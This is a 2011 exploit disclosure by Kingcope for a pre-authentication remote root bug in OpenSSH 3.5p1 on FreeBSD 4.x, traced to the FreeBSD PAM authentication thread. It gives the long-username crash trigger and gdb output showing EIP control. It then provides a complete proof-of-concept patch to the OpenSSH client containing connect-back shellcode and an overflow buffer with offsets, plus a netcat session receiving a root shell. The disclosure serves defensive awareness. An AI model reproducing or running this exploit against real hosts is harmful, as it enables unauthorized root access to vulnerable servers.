30/6/11

OpenSSH 3.5p1 Remote Root Exploit for FreeBSD

OpenSSH 3.5p1 Remote Root Exploit for FreeBSD
Discovered and Exploited By Kingcope
Year 2011
--

The last two days I have been investigating a vulnerability in OpenSSH
affecting at least FreeBSD 4.9 and 4.11. These FreeBSD versions run
OpenSSH 3.5p1 in the default install.

The sshd banner for 4.11-RELEASE is "SSH-1.99-OpenSSH_3.5p1 FreeBSD-20060930".

A working Remote Exploit which spawns a root shell remotely and
previous to authentication was developed.

The bug can be triggered both through ssh version 1 and ssh version 2
using a modified ssh client. During the investigation of the vulnerability it was found that
the bug resides in the source code file "auth2-pam-freebsd.c".

http://www.freebsd.org/cgi/cvsweb.cgi/src/crypto/openssh/Attic/auth2-pam-freebsd.c

This file does not exist in FreeBSD releases greater than 5.2.1. The last commit
is from 7 years ago.

Specifically the bug follows a code path in the PAM Authentication Thread inside this
source code, "pam_thread()". It could not be verified if the bug is inside this
(third party, freebsd) OpenSSH code or in the FreeBSD pam library itself.

Both the challenge response (ssh version 1) and keyboard interactive via pam
(ssh version 2) authentications go through this code path.

By supplying a long username to the daemon the sshd crashes.

h4x# sysctl kern.sugid_coredump=1
kern.sugid_coredump: 0 -> 1

root@debian:~# ssh -l`perl -e 'print "A" x 100'` 192.168.32.138

h4x# tail -1 /var/log/messages
Jun 30 16:01:25 h4x /kernel: pid 160 (sshd), uid 0: exited on signal 11 (core dumped)

Looking into the coredump reveals:

h4x# gdb -c /sshd.core
GNU gdb 4.18 (FreeBSD)
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd".
Core was generated by `sshd'.
Program terminated with signal 11, Segmentation fault.
#0 0x28092305 in ?? ()
(gdb) x/1i $eip
0x28092305: (bad)

The sshd crahes at a place with illegal instructions. It looks like it depends
on how the sshd is started. Starting the sshd from the console as root and running
the ssh client with long username again reveals:

h4x# killall -9 sshd
h4x# /usr/sbin/sshd

root@debian:~# ssh -l`perl -e 'print "A" x 100'` 192.168.32.138

h4x# gdb -c /sshd.core
GNU gdb 4.18 (FreeBSD)
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd".
Core was generated by `sshd'.
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
(gdb) x/10i $eip
0x41414141: Cannot access memory at address 0x41414141.

As you can see in the above gdb output we can control EIP completely.
If someone finds out on what this behaviour depends, especially why EIP can
be controlled when starting sshd in the console and can not be easily controlled
when being run from the boot sequence, please drop me an email at
isowarez.isowarez.isowarez@googlemail.com.

Anyhow this procedure shows that the sshd can be exploited because the instruction
pointer can be fully controlled.

The developed exploit (Proof of Concept only) is a patched OpenSSH 5.8p2 client.
Using a reverse shellcode it will spawn a rootshell.

Only one offset is needed, the position of the shellcode can be found the following way:

h4x# gdb -c /sshd.core
GNU gdb 4.18 (FreeBSD)
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd".
Core was generated by `sshd'.
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
(gdb) set $x=0x08071000
(gdb) while(*++$x!=0x90909090)
>end
(gdb) x/10b $x

The printed address is the beginning of the shellcode nopsled.

Attached is the Proof of Concept as a diff to OpenSSH-5.8p2.

It roughly does the following:

root@debian:~# ./ssh -1 192.168.32.138

root@debian:~# nc -v -l -p 10000
listening on [any] 10000 ...
192.168.32.138: inverse host lookup failed: Unknown host
connect to [192.168.32.128] from (UNKNOWN) [192.168.32.138] 1038
uname -a;id;
FreeBSD h4x.localdomain 4.11-RELEASE FreeBSD 4.11-RELEASE #0: Fri Jan 21 17:21:22 GMT 2005 root@perseus.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386
uid=0(root) gid=0(wheel) groups=0(wheel)

--

root@debian:~# diff openssh-5.8p2/sshconnect1.c openssh-5.8p2_2/sshconnect1.c
667a668,717
> // Connect Back Shellcode
>
> #define IPADDR "\xc0\xa8\x20\x80"
> #define PORT "\x27\x10" /* htons(10000) */
>
> char sc[] =
> "\x90\x90"
> "\x90\x90"
> "\x31\xc9" // xor ecx, ecx
> "\xf7\xe1" // mul ecx
> "\x51" // push ecx
> "\x41" // inc ecx
> "\x51" // push ecx
> "\x41" // inc ecx
> "\x51" // push ecx
> "\x51" // push ecx
> "\xb0\x61" // mov al, 97
> "\xcd\x80" // int 80h
> "\x89\xc3" // mov ebx, eax
> "\x68"IPADDR // push dword 0101017fh
> "\x66\x68"PORT // push word 4135
> "\x66\x51" // push cx
> "\x89\xe6" // mov esi, esp
> "\xb2\x10" // mov dl, 16
> "\x52" // push edx
> "\x56" // push esi
> "\x50" // push eax
> "\x50" // push eax
> "\xb0\x62" // mov al, 98
> "\xcd\x80" // int 80h
> "\x41" // inc ecx
> "\xb0\x5a" // mov al, 90
> "\x49" // dec ecx
> "\x51" // push ecx
> "\x53" // push ebx
> "\x53" // push ebx
> "\xcd\x80" // int 80h
> "\x41" // inc ecx
> "\xe2\xf5" // loop -10
> "\x51" // push ecx
> "\x68\x2f\x2f\x73\x68" // push dword 68732f2fh
> "\x68\x2f\x62\x69\x6e" // push dword 6e69622fh
> "\x89\xe3" // mov ebx, esp
> "\x51" // push ecx
> "\x54" // push esp
> "\x53" // push ebx
> "\x53" // push ebx
> "\xb0\xc4\x34\xff"
> "\xcd\x80"; // int 80h
>
679a730,737
> char buffer[8096];
>
> // Offset is for FreeBSD-4.11 RELEASE OpenSSH 3.5p1
> memcpy(buffer, "AAAA\x58\xd8\x07\x08""CCCCDDDDEEEE\xd8\xd8\x07\x08""GGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO", 24);
> memset(buffer+24, '\x90', 5000);
> memcpy(buffer+24+5000, sc, sizeof(sc));
> server_user=buffer;
>
690a749
>

Cheers,

Kingcope

----------------------------------------

MD5 | bcb61f978d7589233b8201229cbd508f

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